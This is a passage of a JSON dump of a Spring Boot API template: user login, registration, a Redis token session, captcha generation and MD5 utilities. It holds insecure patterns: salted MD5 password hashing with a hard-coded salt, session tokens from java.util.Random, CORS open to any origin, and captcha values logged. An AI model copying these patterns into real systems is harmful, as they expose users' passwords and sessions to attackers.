org.springframework.web.servlet.ModelAndView;\nimport org.springframework.web.servlet.NoHandlerFoundException;\nimport org.springframework.web.servlet.config.annotation.*;\n\n/**\n * Spring MVC 配置\n */\n@Configuration\npublic class WebMvcConfigurer extends WebMvcConfigurerAdapter {\n\n    private final Logger logger = LoggerFactory.getLogger(WebMvcConfigurer.class);\n\n    @Bean\n    LoginInterceptor loginInterceptor() {\n\n        return new LoginInterceptor();\n    }\n\n\n    //使用阿里 FastJson 作为JSON MessageConverter\n    @Override\n    public void configureMessageConverters(List<HttpMessageConverter<?>> converters) {\n        FastJsonHttpMessageConverter converter = new FastJsonHttpMessageConverter();\n        FastJsonConfig config = new FastJsonConfig();\n        config.setSerializerFeatures(SerializerFeature.WriteMapNullValue);//保留空的字段\n        //SerializerFeature.WriteNullStringAsEmpty,//String null -> \"\"\n        //SerializerFeature.WriteNullNumberAsZero//Number null -> 0\n        // 按需配置，更多参考FastJson文档哈\n\n        converter.setFastJsonConfig(config);\n        converter.setDefaultCharset(Charset.forName(\"UTF-8\"));\n        converter.setSupportedMediaTypes(Arrays.asList(MediaType.APPLICATION_JSON_UTF8));\n        converters.add(converter);\n    }\n\n\n    //统一异常处理\n    @Override\n    public void configureHandlerExceptionResolvers(List<HandlerExceptionResolver> exceptionResolvers) {\n        exceptionResolvers.add(new HandlerExceptionResolver() {\n            public ModelAndView resolveException(HttpServletRequest request, HttpServletResponse response, Object handler, Exception e) {\n                Result result = new Result();\n                if (e instanceof ServiceException) {//业务失败的异常，如“账号或密码错误”\n                    result.setCode(ResultCode.FAIL).setMessage(e.getMessage()).setSuccess(false);\n                } else if (e instanceof MethodArgumentNotValidException) {//@valid注解验证参数\n                    MethodArgumentNotValidException m = (MethodArgumentNotValidException) e;\n                    m.getBindingResult().getFieldError().getDefaultMessage();\n                    result.setCode(ResultCode.PARAM_FAIL).setMessage(m.getBindingResult().getFieldError().getDefaultMessage()).setSuccess(false);\n                } else if (e instanceof NoHandlerFoundException) {\n                    result.setCode(ResultCode.NOT_FOUND).setMessage(\"接口 [\" + request.getRequestURI() + \"] 不存在\").setSuccess(false);\n                } else if (e instanceof ServletException) {\n                    result.setCode(ResultCode.FAIL).setMessage(e.getMessage()).setSuccess(false);\n                } else {\n                    result.setCode(ResultCode.INTERNAL_SERVER_ERROR).setMessage(\"接口 [\" + request.getRequestURI() + \"] 内部错误，请联系管理员\").setSuccess(false);\n                    String message;\n                    if (handler instanceof HandlerMethod) {\n                        HandlerMethod handlerMethod = (HandlerMethod) handler;\n                        message = String.format(\"接口 [%s] 出现异常，方法：%s.%s，异常摘要：%s\",\n                                request.getRequestURI(),\n                                handlerMethod.getBean().getClass().getName(),\n                                handlerMethod.getMethod().getName(),\n                                e.getMessage());\n                    } else {\n                        message = e.getMessage();\n                    }\n                    logger.error(message, e);\n                }\n                responseResult(response, result);\n                return new ModelAndView();\n            }\n\n        });\n    }\n\n    @ExceptionHandler(MethodArgumentNotValidException.class)\n    public Result handleMethodArgumentNotValidException(MethodArgumentNotValidException e) {\n        return ResultGenerator.genFailResult(e.getBindingResult().getFieldError().getDefaultMessage());\n    }\n\n    /**\n     * 页面跨域访问Controller过滤\n     *\n     * @return\n     */\n    @Override\n    public void addCorsMappings(CorsRegistry registry) {\n        WebMvcConfigurer.super.addCorsMappings(registry);\n        registry.addMapping(\"/**\")\n                .allowedHeaders(\"*\")\n                .allowedMethods(\"POST\", \"GET\")\n                .allowedOrigins(\"*\");\n    }\n\n    //添加拦截器\n    @Override\n    public void addInterceptors(InterceptorRegistry registry) {\n        registry.addInterceptor(loginInterceptor())\n                .excludePathPatterns(\"/doc.html\")\n                .excludePathPatterns(\"/swagger-resources/**\")\n                .excludePathPatterns(\"/error\")\n                .excludePathPatterns(\"/webjars/**\")\n                .excludePathPatterns(\"/api/user/login\")\n                .excludePathPatterns(\"/api/user/register\")\n                .addPathPatterns(\"/**\");\n    }\n\n\n    private void responseResult(HttpServletResponse response, Result result) {\n        response.setCharacterEncoding(\"UTF-8\");\n        response.setHeader(\"Content-type\", \"application/json;charset=UTF-8\");\n        try {\n            response.getWriter().write(JSON.toJSONString(result));\n        } catch (IOException ex) {\n            logger.error(ex.getMessage());\n        }\n    }\n\n    /**\n     * 发现如果继承了WebMvcConfigurationSupport，则在yml中配置的相关内容会失效。 需要重新指定静态资源\n     *\n     * @param registry\n     */\n    @Override\n    public void addResourceHandlers(ResourceHandlerRegistry registry) {\n        registry.addResourceHandler(\"/**\").addResourceLocations(\n                \"classpath:/static/\");\n        registry.addResourceHandler(\"doc.html\").addResourceLocations(\n                \"classpath:/META-INF/resources/\");\n        registry.addResourceHandler(\"/webjars/**\").addResourceLocations(\n                \"classpath:/META-INF/resources/webjars/\");\n        super.addResourceHandlers(registry);\n    }\n\n\n}\n\n"
  },
  {
    "path": "java_project_template/jun_api_service_main/src/main/java/com/jun/plugin/system/core/Result.java",
    "content": "package com.jun.plugin.system.core;\n\nimport com.alibaba.fastjson.JSON;\n\n/**\n * 统一API响应结果封装\n */\npublic class Result<T> {\n    private int code;\n    private String message;\n    private T data;\n    private Boolean success;\n\n    public Result setCode(ResultCode resultCode) {\n        this.code = resultCode.code();\n        return this;\n    }\n\n    public int getCode() {\n        return code;\n    }\n\n    public String getMessage() {\n        return message;\n    }\n\n    public Result setMessage(String message) {\n        this.message = message;\n        return this;\n    }\n\n    public T getData() {\n        return data;\n    }\n\n    public Result setData(T data) {\n        this.data = data;\n        return this;\n    }\n\n    public Boolean getSuccess() {\n        return success;\n    }\n\n    public Result setSuccess(Boolean success) {\n        this.success = success;\n        return this;\n    }\n\n    @Override\n    public String toString() {\n        return JSON.toJSONString(this);\n    }\n}\n"
  },
  {
    "path": "java_project_template/jun_api_service_main/src/main/java/com/jun/plugin/system/core/ResultCode.java",
    "content": "package com.jun.plugin.system.core;\n\n/**\n * 响应码枚举，参考HTTP状态码的语义\n */\npublic enum ResultCode {\n    SUCCESS(200),//成功\n    FAIL(400),//失败\n    UNAUTHORIZED(401),//未认证（签名错误）\n    NOT_FOUND(404),//接口不存在\n    INTERNAL_SERVER_ERROR(500),//服务器内部错误\n    PARAM_FAIL(10001);//参数异常\n\n    private final int code;\n\n    ResultCode(int code) {\n        this.code = code;\n    }\n\n    public int code() {\n        return code;\n    }\n}\n"
  },
  {
    "path": "java_project_template/jun_api_service_main/src/main/java/com/jun/plugin/system/core/ResultGenerator.java",
    "content": "package com.jun.plugin.system.core;\n\n/**\n * 响应结果生成工具\n */\npublic class ResultGenerator {\n    private static final String DEFAULT_SUCCESS_MESSAGE = \"SUCCESS\";\n\n    public static Result genSuccessResult() {\n        return new Result()\n                .setSuccess(true)\n                .setCode(ResultCode.SUCCESS)\n                .setMessage(DEFAULT_SUCCESS_MESSAGE);\n    }\n\n    public static <T> Result<T> genSuccessResult(T data) {\n        return new Result()\n                .setSuccess(true)\n                .setCode(ResultCode.SUCCESS)\n                .setMessage(DEFAULT_SUCCESS_MESSAGE)\n                .setData(data);\n    }\n\n    public static Result genFailResult(String message) {\n        return new Result()\n                .setSuccess(false)\n                .setCode(ResultCode.FAIL)\n                .setMessage(message);\n    }\n}\n"
  },
  {
    "path": "java_project_template/jun_api_service_main/src/main/java/com/jun/plugin/system/core/ServiceException.java",
    "content": "package com.jun.plugin.system.core;\n\n/**\n * 服务（业务）异常如“ 账号或密码错误 ”，该异常只做INFO级别的日志记录 @see WebMvcConfigurer\n */\npublic class ServiceException extends RuntimeException {\n    public ServiceException() {\n    }\n\n    public ServiceException(String message) {\n        super(message);\n    }\n\n    public ServiceException(String message, Throwable cause) {\n        super(message, cause);\n    }\n}\n"
  },
  {
    "path": "java_project_template/jun_api_service_main/src/main/java/com/jun/plugin/system/mapper/UserMapper.java",
    "content": "package com.jun.plugin.system.mapper;\n\nimport com.jun.plugin.system.model.User;\nimport com.baomidou.mybatisplus.core.mapper.BaseMapper;\n\n/**\n * <p>\n *  Mapper 接口\n * </p>\n *\n * @author project\n * @since 2020-01-08\n */\npublic interface UserMapper extends BaseMapper<User> {\n\n}\n"
  },
  {
    "path": "java_project_template/jun_api_service_main/src/main/java/com/jun/plugin/system/model/User.java",
    "content": "package com.jun.plugin.system.model;\n\nimport com.baomidou.mybatisplus.annotation.*;\n\nimport java.io.Serializable;\nimport java.util.Date;\n\nimport lombok.Data;\nimport lombok.EqualsAndHashCode;\nimport lombok.experimental.Accessors;\n\nimport javax.validation.constraints.NotEmpty;\n\n/**\n * <p>\n * \n * </p>\n *\n * @author project\n * @since 2020-01-08\n */\n@Data\n@EqualsAndHashCode(callSuper = false)\n@Accessors(chain = true)\n@TableName(\"user\")\npublic class User implements Serializable {\n\n    private static final long serialVersionUID = 1L;\n\n    /**\n     * 主键\n     */\n    @TableId(value = \"id\", type = IdType.AUTO)\n    private Integer id;\n\n    /**\n     * 用户名\n     */\n    @NotEmpty(message = \"用户名不能为空！\")\n    private String username;\n\n    /**\n     * 密码\n     */\n    @NotEmpty(message = \"密码不能为空！\")\n    private String password;\n\n    /**\n     * 昵称\n     */\n    private String nickName;\n\n    /**\n     * 性别\n     */\n    private Integer sex;\n\n    /**\n     * 创建时间\n     */\n    private Date createDate;\n\n    /**\n     * 创建人\n     */\n    private Integer createUser;\n\n    /**\n     * 修改时间\n     */\n    private Date updateDate;\n\n    /**\n     * 修改人\n     */\n    private Integer updateUser;\n\n    /**\n     * 删除标志0未删 1删除\n     */\n    @TableLogic\n    private Integer delFlag;\n\n    /**\n     * 登陆返回token\n     */\n    @TableField(exist = false)\n    private String token;\n\n}\n"
  },
  {
    "path": "java_project_template/jun_api_service_main/src/main/java/com/jun/plugin/system/service/HttpSessionService.java",
    "content": "package com.jun.plugin.system.service;\n\nimport com.alibaba.fastjson.JSON;\nimport com.alibaba.fastjson.JSONObject;\nimport com.jun.plugin.system.model.User;\nimport org.apache.commons.lang3.StringUtils;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.beans.factory.annotation.Value;\nimport org.springframework.stereotype.Service;\n\nimport javax.servlet.http.HttpServletRequest;\nimport java.util.Random;\n\n/**\n * session管理器\n *\n * @author aitangbao\n */\n@Service\npublic class HttpSessionService {\n\n    @Autowired\n    private RedisService redisDB;\n\n    @Autowired\n    private HttpServletRequest request;\n\n    @Value(\"${spring.redis.key.prefix.userToken}\")\n    private String USER_TOKEN_PREFIX;\n\n    @Value(\"${spring.redis.key.expire.userToken}\")\n    private int EXPIRE ;\n\n    public String createTokenAndUser(User user) {\n        //方便根据id找到redis的key， 修改密码/退出登陆 方便使用\n        String token = getRandomToken(32) + \"#\" + user.getId();\n        JSONObject sessionInfo = new JSONObject();\n        sessionInfo.put(\"userId\", user.getId());\n        sessionInfo.put(\"username\", user.getUsername());\n        String key = USER_TOKEN_PREFIX + token;\n        //设置该用户已登录的token\n        redisDB.setAndExpire(key, sessionInfo.toJSONString(), EXPIRE);\n        return token;\n    }\n\n    /**\n     * 根据token获取userid\n     *\n     * @param token\n     * @return\n     */\n    public static String getUserIdByToken(String token) {\n        if (StringUtils.isBlank(token) || !token.contains(\"#\")) {\n            return \"\";\n        } else {\n            return token.substring(token.indexOf(\"#\") + 1);\n        }\n    }\n\n    /**\n     * 获取参数中的token\n     *\n     * @return\n     */\n    public String getTokenFromHeader() {\n        String token = request.getHeader(\"token\");\n        //如果header中不存在token，则从参数中获取token\n        if (StringUtils.isBlank(token)) {\n            token = request.getParameter(\"token\");\n        }\n        return token;\n    }\n\n    /**\n     * 获取当前session信息\n     *\n     * @return\n     */\n    public JSONObject getCurrentSession() {\n        String token = getTokenFromHeader();\n        if (null != token) {\n            if (redisDB.exists(USER_TOKEN_PREFIX + token)) {\n                String sessionInfoStr = redisDB.get(USER_TOKEN_PREFIX + token);\n                JSONObject sessionInfo = JSON.parseObject(sessionInfoStr);\n                return sessionInfo;\n            } else {\n                return null;\n            }\n        } else {\n            return null;\n        }\n    }\n\n\n    /**\n     * 使当前用户的token失效\n     */\n    public void abortUserByToken() {\n        String token = getTokenFromHeader();\n        redisDB.del(USER_TOKEN_PREFIX + token);\n    }\n\n    /**\n     * 使所有用户的token失效\n     */\n    public void abortAllUserByToken() {\n        String token = getTokenFromHeader();\n        String userId = getUserIdByToken(token);\n        redisDB.delKeys(USER_TOKEN_PREFIX+\"*#\" + userId);\n    }\n\n    /**\n     * 使用户的token失效\n     */\n    public void abortUserByUserId(Integer userId) {\n        redisDB.delKeys(USER_TOKEN_PREFIX+\"*#\" + userId);\n    }\n\n\n    /**\n     * 生成随机的token\n     *\n     * @param length\n     * @return\n     */\n    private String getRandomToken(int length) {\n        Random random = new Random();\n        StringBuilder randomStr = new StringBuilder();\n\n        // 根据length生成相应长度的随机字符串\n        for (int i = 0; i < length; i++) {\n            String charOrNum = random.nextInt(2) % 2 == 0 ? \"char\" : \"num\";\n\n            //输出字母还是数字\n            if (\"char\".equalsIgnoreCase(charOrNum)) {\n                //输出是大写字母还是小写字母\n                int temp = random.nextInt(2) % 2 == 0 ? 65 : 97;\n                randomStr.append((char) (random.nextInt(26) + temp));\n            } else if (\"num\".equalsIgnoreCase(charOrNum)) {\n                randomStr.append(String.valueOf(random.nextInt(10)));\n            }\n        }\n\n        return randomStr.toString();\n    }\n\n\n}\n"
  },
  {
    "path": "java_project_template/jun_api_service_main/src/main/java/com/jun/plugin/system/service/IUserService.java",
    "content": "package com.jun.plugin.system.service;\n\nimport com.jun.plugin.system.core.Result;\nimport com.jun.plugin.system.model.User;\nimport com.baomidou.mybatisplus.extension.service.IService;\n\n/**\n * <p>\n *  服务类\n * </p>\n *\n * @author project\n * @since 2020-01-08\n */\npublic interface IUserService extends IService<User> {\n\n    Result checkPassword(User userParam);\n}\n"
  },
  {
    "path": "java_project_template/jun_api_service_main/src/main/java/com/jun/plugin/system/service/RedisService.java",
    "content": "package com.jun.plugin.system.service;\n\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.data.redis.core.StringRedisTemplate;\nimport org.springframework.stereotype.Service;\nimport org.springframework.util.CollectionUtils;\n\nimport java.util.Date;\nimport java.util.Set;\nimport java.util.concurrent.TimeUnit;\n\n\n/**\n * @author : aitangbao\n */\n\n@Service\npublic class RedisService {\n    @Autowired\n    private StringRedisTemplate redisTemplate;\n\n    public boolean exists(String key) {\n        return this.redisTemplate.hasKey(key);\n    }\n\n    public String get(String key) {\n        String value = this.redisTemplate.opsForValue().get(key);\n        return value;\n    }\n\n\n    public void del(String key) {\n        if (this.exists(key)) {\n            this.redisTemplate.delete(key);\n        }\n\n    }\n\n    public void setAndExpire(String key, String value, int seconds) {\n        this.redisTemplate.opsForValue().set(key, value);\n        this.redisTemplate.expire(key, (long) seconds, TimeUnit.SECONDS);\n    }\n\n\n    public void setExpire(String key, Date endTime) {\n        long seconds = endTime.getTime() - (new Date()).getTime();\n        this.redisTemplate.expire(key, (long) ((int) (seconds / 1000L)), TimeUnit.SECONDS);\n    }\n\n\n    public Set keys(String pattern) {\n        return redisTemplate.keys(\"*\" + pattern);\n    }\n\n    public void delKeys(String pattern) {\n        Set<String> keys = redisTemplate.keys(pattern);\n        if (!CollectionUtils.isEmpty(keys)) {\n            this.redisTemplate.delete(keys);\n        }\n    }\n}\n"
  },
  {
    "path": "java_project_template/jun_api_service_main/src/main/java/com/jun/plugin/system/service/impl/UserServiceImpl.java",
    "content": "package com.jun.plugin.system.service.impl;\n\nimport com.baomidou.mybatisplus.core.conditions.query.QueryWrapper;\nimport com.jun.plugin.system.core.Result;\nimport com.jun.plugin.system.core.ResultGenerator;\nimport com.jun.plugin.system.model.User;\nimport com.jun.plugin.system.mapper.UserMapper;\nimport com.jun.plugin.system.service.IUserService;\nimport com.baomidou.mybatisplus.extension.service.impl.ServiceImpl;\nimport com.jun.plugin.system.service.RedisService;\nimport com.jun.plugin.system.utils.MD5Utils;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.beans.factory.annotation.Value;\nimport org.springframework.stereotype.Service;\n\n/**\n * <p>\n * 服务实现类\n * </p>\n *\n * @author project\n * @since 2020-01-08\n */\n@Service\npublic class UserServiceImpl extends ServiceImpl<UserMapper, User> implements IUserService {\n\n    @Autowired\n    private UserMapper userMapper;\n\n\n    @Autowired\n    private RedisService redis;\n    @Value(\"${spring.redis.key.prefix.passwordError}\")\n    private String PASSWORD_ERROR_PREFIX;\n    @Value(\"${spring.redis.key.expire.passwordError}\")\n    private int PASSWORD_ERROR_EXPIRE;\n\n    @Override\n    public Result checkPassword(User userParam) {\n\n        String username = userParam.getUsername();\n        String password = userParam.getPassword();\n        //redis key\n        String redisPasswordErrorKey = PASSWORD_ERROR_PREFIX + username;\n        //判断账户是否锁定\n        String errorCount = redis.get(redisPasswordErrorKey);\n        if (errorCount != null && Integer.parseInt(errorCount) == 5) {\n            return ResultGenerator.genFailResult(\"密码连续错误5次，请1小时后重试\");\n        }\n        //根据用户名获取用户信息\n        QueryWrapper<User> queryWrapper = new QueryWrapper<>();\n        queryWrapper.eq(\"username\", username);\n        User user = userMapper.selectOne(queryWrapper);\n        if (user == null) {\n            return ResultGenerator.genFailResult(\"账号未找到\");\n        }\n\n        if (!MD5Utils.Encrypt(password, true).equals(user.getPassword())) {\n            if (errorCount == null) {\n                errorCount = \"1\";\n            } else {\n                errorCount = String.valueOf(Integer.parseInt(errorCount) + 1);\n            }\n            redis.setAndExpire(redisPasswordErrorKey, errorCount, PASSWORD_ERROR_EXPIRE);\n            if (\"5\".equals(errorCount)) {\n                return ResultGenerator.genFailResult(\"密码连续错误5次，请1小时后重试\");\n            } else {\n                return ResultGenerator.genFailResult(\"密码错误，剩余次数\" + (5 - Integer.parseInt(errorCount)));\n            }\n        } else {\n            //登录成功删除错误登录次数\n            redis.del(redisPasswordErrorKey);\n            return ResultGenerator.genSuccessResult(user);\n        }\n    }\n}\n"
  },
  {
    "path": "java_project_template/jun_api_service_main/src/main/java/com/jun/plugin/system/utils/ImageCodeUtil.java",
    "content": "package com.jun.plugin.system.utils;\n\nimport lombok.extern.slf4j.Slf4j;\n\nimport javax.imageio.ImageIO;\nimport javax.servlet.http.HttpServletRequest;\nimport javax.servlet.http.HttpServletResponse;\nimport javax.servlet.http.HttpSession;\nimport java.awt.*;\nimport java.awt.image.BufferedImage;\nimport java.util.Random;\n\n@Slf4j\npublic class ImageCodeUtil {\n\n\n    public static final String IMAGE_RANDOM_CODEKEY = \"RANDOMVALIDATECODEKEY\";//放到session中的key\n    private String randString = \"0123456789\";//随机产生只有数字的字符串 private String\n    //private String randString = \"ABCDEFGHIJKLMNOPQRSTUVWXYZ\";//随机产生只有字母的字符串\n    //private String randString = \"0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ\";//随机产生数字与字母组合的字符串\n    private int width = 95;// 图片宽\n    private int height = 25;// 图片高\n    private int lineSize = 40;// 干扰线数量\n    private int stringNum = 4;// 随机产生字符数量\n\n\n    private Random random = new Random();\n\n    /**\n     * 获得字体\n     */\n    private Font getFont() {\n        return new Font(\"Fixedsys\", Font.CENTER_BASELINE, 18);\n    }\n\n    /**\n     * 获得颜色\n     */\n    private Color getRandColor(int fc, int bc) {\n        if (fc > 255)\n            fc = 255;\n        if (bc > 255)\n            bc = 255;\n        int r = fc + random.nextInt(bc - fc - 16);\n        int g = fc + random.nextInt(bc - fc - 14);\n        int b = fc + random.nextInt(bc - fc - 18);\n        return new Color(r, g, b);\n    }\n\n    /**\n     * 生成随机图片\n     */\n    public void getRandcode(HttpServletRequest request, HttpServletResponse response) {\n        HttpSession session = request.getSession();\n        // BufferedImage类是具有缓冲区的Image类,Image类是用于描述图像信息的类\n        BufferedImage image = new BufferedImage(width, height, BufferedImage.TYPE_INT_BGR);\n        Graphics g = image.getGraphics();// 产生Image对象的Graphics对象,改对象可以在图像上进行各种绘制操作\n        g.fillRect(0, 0, width, height);//图片大小\n        g.setFont(new Font(\"Times New Roman\", Font.ROMAN_BASELINE, 18));//字体大小\n        g.setColor(getRandColor(110, 133));//字体颜色\n        // 绘制干扰线\n        for (int i = 0; i <= lineSize; i++) {\n            drowLine(g);\n        }\n        // 绘制随机字符\n        String randomString = \"\";\n        for (int i = 1; i <= stringNum; i++) {\n            randomString = drowString(g, randomString, i);\n        }\n        log.info(randomString);\n        //将生成的随机字符串保存到session中\n        session.removeAttribute(IMAGE_RANDOM_CODEKEY);\n        session.setAttribute(IMAGE_RANDOM_CODEKEY, randomString);\n        g.dispose();\n        try {\n            // 将内存中的图片通过流动形式输出到客户端\n            ImageIO.write(image, \"JPEG\", response.getOutputStream());\n        } catch (Exception e) {\n            log.error(\"将内存中的图片通过流动形式输出到客户端失败>>>>   \", e);\n        }\n\n    }\n\n    /**\n     * 绘制字符串\n     */\n    private String drowString(Graphics g, String randomString, int i) {\n        g.setFont(getFont());\n        g.setColor(new Color(random.nextInt(101), random.nextInt(111), random\n                .nextInt(121)));\n        String rand = String.valueOf(getRandomString(random.nextInt(randString\n                .length())));\n        randomString += rand;\n        g.translate(random.nextInt(3), random.nextInt(3));\n        g.drawString(rand, 13 * i, 16);\n        return randomString;\n    }\n\n    /**\n     * 绘制干扰线\n     */\n    private void drowLine(Graphics g) {\n        int x = random.nextInt(width);\n        int y = random.nextInt(height);\n        int xl = random.nextInt(13);\n        int yl = random.nextInt(15);\n        g.drawLine(x, y, x + xl, y + yl);\n    }\n\n    /**\n     * 获取随机的字符\n     */\n    public String getRandomString(int num) {\n        return String.valueOf(randString.charAt(num));\n    }\n}"
  },
  {
    "path": "java_project_template/jun_api_service_main/src/main/java/com/jun/plugin/system/utils/MD5Utils.java",
    "content": "package com.jun.plugin.system.utils;\n\nimport org.apache.commons.codec.digest.DigestUtils;\nimport org.apache.commons.lang3.ArrayUtils;\nimport org.apache.commons.lang3.StringUtils;\n\npublic class MD5Utils {\n\n\tprivate static String salt = \"springboot_api\";\n\t\n\t/**\n\t * 加密字符串\n\t * @param password 要加密的明文\n\t * @param isAddSalt 是否加默认盐\n\t * @return 加密之后的结果\n\t */\n\tpublic static String Encrypt(String password, boolean isAddSalt){\n\t\tif (StringUtils.isNotEmpty(password)){\n\t\t\tif (isAddSalt){\n\t\t\t\treturn DigestUtils.md5Hex(DigestUtils.md5(password + salt));\n\t\t\t} else {\n\t\t\t\treturn DigestUtils.md5Hex(DigestUtils.md5(password));\n\t\t\t}\n\t\t}\n\t\treturn null;\t\t\n\t}\n\t\n\t/**\n\t * \n\t * @param bytes\n\t * @return\n\t */\n\tpublic static String Encrypt(byte[] bytes){\n\t\tif (ArrayUtils.isNotEmpty(bytes)){\n\t\t\treturn DigestUtils.md5Hex(DigestUtils.md5(bytes));\n\t\t}\n\t\treturn null;\n\t}\n\t\n\t/**\n\t * MD5加盐加密\n\t * @param password 要加密的明文\n\t * @param salt 盐\n\t * @return 加密之后的结果\n\t */\n\tpublic static String Encrypt(String password, String salt){\n\t\tif (StringUtils.isNotEmpty(password)){\n\t\t\treturn DigestUtils.md5Hex(DigestUtils.md5(password + salt));\n\t\t}\n\t\treturn null;\t\t\t\n\t}\n\t\n\tpublic static void main(String[] args){\n\t\tSystem.out.println(MD5Utils.Encrypt(\"admin\", true));\n\t}\n}\n"
  },
  {
    "path": "java_project_template/jun_api_service_main/src/main/java/com/jun/plugin/system/web/UserController.java",
    "content": "package com.jun.plugin.system.web;\n\nimport com.alibaba.fastjson.JSONObject;\nimport com.baomidou.mybatisplus.core.conditions.query.QueryWrapper;\nimport com.baomidou.mybatisplus.extension.plugins.pagination.Page;\nimport com.jun.plugin.system.core.Result;\nimport com.jun.plugin.system.core.ResultGenerator;\nimport com.jun.plugin.system.service.HttpSessionService;\nimport com.jun.plugin.system.utils.MD5Utils;\nimport com.jun.plugin.system.utils.ImageCodeUtil;\nimport com.jun.plugin.system.service.IUserService;\nimport io.swagger.annotations.ApiImplicitParam;\nimport io.swagger.annotations.ApiImplicitParams;\nimport org.apache.commons.lang3.StringUtils;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.beans.factory.annotation.Value;\nimport org.springframework.web.bind.annotation.*;\nimport com.jun.plugin.system.model.User;\nimport io.swagger.annotations.ApiOperation;\nimport lombok.extern.slf4j.Slf4j;\nimport com.baomidou.mybatisplus.core.metadata.IPage;\n\nimport javax.annotation.Resource;\nimport javax.servlet.http.HttpServletRequest;\nimport javax.servlet.http.HttpServletResponse;\nimport javax.servlet.http.HttpSession;\nimport javax.validation.Valid;\n\nimport org.springframework.web.bind.annotation.RestController;\n\nimport java.util.HashMap;\nimport java.util.Map;\n\n/**\n * <p>\n * 前端控制器\n * </p>\n *\n * @author project\n * @since 2020-01-08\n */\n@Slf4j\n@RestController\n@RequestMapping(\"/api/user\")\npublic class UserController {\n\n    @Resource\n    private IUserService userService;\n    @Autowired\n    private HttpSessionService httpSession;\n\n    @Value(\"${spring.redis.allowMultipleLogin}\")\n    private Boolean allowMultipleLogin;\n\n    @ApiOperation(\"登陆\")\n    @PostMapping(\"/login\")\n    public Result login(@RequestBody @Valid User userParam) {\n\n        //校验密码，5次错误锁定账户\n        Result result = userService.checkPassword(userParam);\n        if (!result.getSuccess()) {\n            return result;\n        }\n        //成功之后返回user\n        User user = (User)result.getData();\n\n        //是否删除之前token， 此处控制是否支持多登陆端；\n        // true:允许多处登陆; false:只能单处登陆，顶掉之前登陆\n        if (!allowMultipleLogin) {\n            httpSession.abortUserByUserId(user.getId());\n        }\n\n        //生成token\n        String token = httpSession.createTokenAndUser(user);\n\n        Map<String, String> resultMap = new HashMap<>(2);\n        resultMap.put(\"token\", token);\n        resultMap.put(\"username\", userParam.getUsername());\n        return ResultGenerator.genSuccessResult(resultMap);\n    }\n\n    @ApiOperation(\"注册\")\n    @PostMapping(\"/register\")\n    public Result register(@RequestBody @Valid User user) {\n        QueryWrapper<User> queryWrapper = new QueryWrapper<>();\n        queryWrapper.eq(\"username\", user.getUsername());\n        User userO = userService.getOne(queryWrapper);\n        if (userO != null) {\n            return ResultGenerator.genFailResult(\"账号已存在\");\n        }\n        user.setPassword(MD5Utils.Encrypt(user.getPassword(), true));\n        userService.save(user);\n        return ResultGenerator.genSuccessResult();\n    }\n\n    @ApiOperation(\"修改密码\")\n    @PostMapping(\"/updatePassword\")\n    public Result updatePassword(@RequestBody JSONObject param) {\n        String oldPassword = param.getString(\"oldPassword\");\n        String newPassword = param.getString(\"newPassword\");\n        if (StringUtils.isBlank(oldPassword) || StringUtils.isBlank(newPassword)) {\n            return ResultGenerator.genFailResult(\"密码不能为空\");\n        }\n        //获取登陆信息\n        JSONObject sessionInfo = httpSession.getCurrentSession();\n        String userId = sessionInfo.getString(\"userId\");\n\n        User user = userService.getById(userId);\n        if (user == null) {\n            return ResultGenerator.genFailResult(\"账号未找到\");\n        }\n        if (!MD5Utils.Encrypt(oldPassword, true).equals(user.getPassword())) {\n            return ResultGenerator.genFailResult(\"旧密码错误\");\n        }\n        User updateUser = new User();\n        updateUser.setId(user.getId());\n        updateUser.setPassword(MD5Utils.Encrypt(newPassword, true));\n        userService.updateById(updateUser);\n\n        //重置密码后删除原所有token\n        httpSession.abortAllUserByToken();\n        return ResultGenerator.genSuccessResult();\n    }\n\n    @ApiOperation(\"登出\")\n    @GetMapping(\"/logout\")\n    public Result logout() {\n        //退出删除token\n        httpSession.abortUserByToken();\n        return ResultGenerator.genSuccessResult();\n    }\n\n    @ApiOperation(\"校验token是否有效\")\n    @GetMapping(\"/validateToken\")\n    public Result validateToken() {\n        //拦截器拦截已判断，直接返回成功\n        return ResultGenerator.genSuccessResult();\n    }\n\n    @ApiOperation(value = \"删除\")\n    @PostMapping(\"delete/{id}\")\n    public Result delete(@PathVariable(\"id\") Long id) {\n        userService.removeById(id);\n        return ResultGenerator.genSuccessResult();\n    }\n\n    @ApiOperation(value = \"更新\")\n    @PostMapping(\"update\")\n    public Result update(@RequestBody User user) {\n        //密码不更新\n        user.setPassword(null);\n        userService.updateById(user);\n        return ResultGenerator.genSuccessResult();\n    }\n\n    @ApiOperation(value = \"查询分页数据\")\n    @ApiImplicitParams({\n            @ApiImplicitParam(name = \"currentPage\", value = \"页码\"),\n            @ApiImplicitParam(name = \"pageCount\", value = \"每页条数\")\n    })\n    @GetMapping(\"listByPage\")\n    public Result findListByPage(@RequestParam(defaultValue = \"1\") Integer currentPage,\n                                 @RequestParam(defaultValue = \"10\") Integer pageCount) {\n        Page page = new Page(currentPage, pageCount);\n        IPage<User> iPage = userService.page(page);\n        return ResultGenerator.genSuccessResult(iPage);\n    }\n\n    @ApiOperation(value = \"id查询\")\n    @GetMapping(\"getById/{id}\")\n    public Result findById(@PathVariable Long id) {\n        return ResultGenerator.genSuccessResult(userService.getById(id));\n    }\n\n    @ApiOperation(value = \"生成验证码\")\n    @GetMapping(value = \"/getVerify\")\n    public void getVerify(HttpServletRequest request, HttpServletResponse response) {\n        response.setContentType(\"image/jpeg\");//设置相应类型,告诉浏览器输出的内容为图片\n        response.setHeader(\"Pragma\", \"No-cache\");//设置响应头信息，告诉浏览器不要缓存此内容\n        response.setHeader(\"Cache-Control\", \"no-cache\");\n        response.setDateHeader(\"Expire\", 0);\n        try {\n            ImageCodeUtil randomValidateCode = new ImageCodeUtil();\n            randomValidateCode.getRandcode(request, response);//输出验证码图片方法\n        } catch (Exception e) {\n            log.error(\"生成验证码失败\");\n        }\n    }\n\n    @ApiOperation(value = \"校验验证码\")\n    @PostMapping(value = \"/checkVerify\")\n    public Result checkVerify(@RequestParam String imageCode, HttpSession session) {\n        //从session中获取随机数\n        Object random = session.getAttribute(ImageCodeUtil.IMAGE_RANDOM_CODEKEY);\n        if (random != null && String.valueOf(random).equals(imageCode)) {\n            return ResultGenerator.genSuccessResult();\n        }\n        return ResultGenerator.genFailResult(\"校验失败\");\n    }\n\n\n}\n"
